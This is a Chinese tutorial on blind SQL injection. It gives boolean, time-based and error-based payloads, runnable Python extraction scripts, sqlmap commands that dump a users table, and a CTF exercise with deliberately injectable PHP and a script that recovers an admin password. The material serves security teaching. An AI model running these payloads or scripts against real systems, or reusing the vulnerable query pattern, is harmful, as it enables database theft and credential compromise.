SQL注入第3篇:盲注技术详解
什么是盲注?
当Web应用不显示数据库错误信息,也不回显查询结果时,传统的报错注入和UNION注入都无法使用。这时就需要使用盲注(Blind Injection) 技术。
盲注的核心思想:通过页面的细微差异(True/False)来推断数据库信息。
一、布尔盲注(Boolean-based Blind Injection)
原理
通过构造SQL语句,让页面返回不同的结果:
- 条件为True:显示正常内容
- 条件为False:显示错误内容或无内容
适用场景
- 页面无回显
- 无报错信息
- 只有登录成功/失败等布尔响应
常用函数
| 函数 | 说明 |
|---|---|
| ASCII() | 返回字符的ASCII码 |
| SUBSTR() | 截取字符串 |
| LENGTH() | 返回字符串长度 |
| MID() | 截取字符串(别名) |
实战:获取数据库名
步骤1:判断数据库名长度
' AND LENGTH(database())=1 --
' AND LENGTH(database())=2 --
' AND LENGTH(database())=3 --
' AND LENGTH(database())=4 --
假设数据库名长度为4时页面正常,说明数据库名长度为4。
步骤2:逐字符猜解
' AND ASCII(SUBSTR(database(),1,1))=97 -- // 猜第1个字符
' AND ASCII(SUBSTR(database(),2,1))=98 -- // 猜第2个字符
' AND ASCII(SUBSTR(database(),3,1))=99 -- // 猜第3个字符
' AND ASCII(SUBSTR(database(),4,1))=100 -- // 猜第4个字符
常用ASCII码:a=97, b=98, c=99, d=100, ...
Python脚本实现
import requests
def get_db_length():
for length in range(1, 20):
url = f"http://target.com/?id=1' AND LENGTH(database())={length}--"
r = requests.get(url)
if "存在" in r.text:
print(f"数据库名长度:{length}")
return length
return None
def get_db_name(length):
result = ""
for i in range(1, length + 1):
for ascii_code in range(32, 127):
payload = f"' AND ASCII(SUBSTR(database(),{i},1))={ascii_code}--"
url = f"http://target.com/?id=1{payload}"
r = requests.get(url)
if "存在" in r.text:
result += chr(ascii_code)
print(f"进度:{result}")
break
return result
# 执行
length = get_db_length()
db_name = get_db_name(length)
print(f"数据库名:{db_name}")
二、时间盲注(Time-based Blind Injection)
原理
当页面无论True/False都返回相同内容时,使用时间延迟来推断条件是否成立。
核心函数:SLEEP()
' AND SLEEP(5) --
如果响应延迟5秒,说明条件成立。
适用场景
- 页面无任何差异
- 布尔盲注无法使用
常用函数组合
| 函数 | 说明 |
|---|---|
| SLEEP(n) | 延迟n秒 |
| BENCHMARK() | 执行指定次数(MySQL) |
| WAITFOR DELAY | MSSQL时间延迟 |
| PG_SLEEP() | PostgreSQL时间延迟 |
实战:时间盲注获取数据
' AND IF(ASCII(SUBSTR(database(),1,1))=97,SLEEP(5),0) --
逐字符猜解脚本:
import requests
import time
def time_blind_injection():
result = ""
for i in range(1, 10):
for j in range(32, 127):
payload = f"' AND IF(ASCII(SUBSTR(database(),{i},1))={j},SLEEP(3),0)--"
url = f"http://target.com/?id=1{payload}"
start = time.time()
r = requests.get(url)
elapsed = time.time() - start
if elapsed >= 3:
result += chr(j)
print(f"已获取:{result}")
break
return result
三、报错型盲注
原理
利用数据库错误信息来获取数据,适用于有错误回显的场景。
MySQL常用Payload
' AND EXTRACTVALUE(1,CONCAT(0x7e,version())) --
' AND UPDATEXML(1,CONCAT(0x7e,database()),1) --
获取表名
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT table_name FROM information_schema.tables LIMIT 0,1))) --
四、二分法优化
手工猜解效率低,建议使用二分法(Binary Search)优化。
def binary_search(query):
result = ""
for i in range(1, 50): # 假设最长50字符
low, high = 32, 127
while low <= high:
mid = (low + high) // 2
payload = f"' AND ASCII(SUBSTR(({query}),{i},1))>{mid}--"
url = f"http://target.com/?id=1{payload}"
r = requests.get(url)
if "存在" in r.text:
low = mid + 1
else:
high = mid - 1
if high >= 32:
result += chr(high)
print(f"进度:{result}")
else:
break
return result
# 获取数据库名
db_name = binary_search("SELECT database()")
print(f"数据库名:{db_name}")
二分法优势:将比较次数从127次降为7次(2^7=128)!
五、sqlmap工具使用
手工注入太累?推荐使用sqlmap自动化工具。
基本命令
# 检测注入点
sqlmap -u "http://target.com/?id=1"
# 获取数据库名
sqlmap -u "http://target.com/?id=1" --dbs
# 获取表名
sqlmap -u "http://target.com/?id=1" -D webapp --tables
# 获取列名
sqlmap -u "http://target.com/?id=1" -D webapp -T users --columns
# 获取数据
sqlmap -u "http://target.com/?id=1" -D webapp -T users --dump
常用选项
| 选项 | 说明 |
|---|---|
| --batch | 自动选择默认选项 |
| --level | 测试等级(1-5) |
| --risk | 风险等级(1-3) |
| --tamper | 使用绕过脚本 |
| --proxy | 使用代理 |
盲注专用选项
# 布尔盲注
sqlmap -u "http://target.com/?id=1" --technique=B
# 时间盲注
sqlmap -u "http://target.com/?id=1" --technique=T
# 自动选择
sqlmap -u "http://target.com/?id=1" --technique=auto
六、实战CTF题目
题目:Blind SQL Injection
题目描述:
这是一个CTF盲注题目,页面只返回"User exists"或"User does not exist"
目标:获取admin用户的密码
页面代码:
$username = $_GET['username'];
$sql = "SELECT * FROM users WHERE username='$username'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
echo "User exists";
} else {
echo "User does not exist";
}
解题脚本:
import requests
def get_password():
password = ""
for i in range(1, 33): # 假设密码32位
for j in range(32, 127):
payload = f"admin' AND ASCII(SUBSTR(password,{i},1))={j}--"
url = f"http://ctf.com/?username={payload}"
r = requests.get(url)
if "User exists" in r.text:
password += chr(j)
print(f"密码:{password}")
break
return password
print(f"最终密码:{get_password()}")
浙公网安备 33010602011771号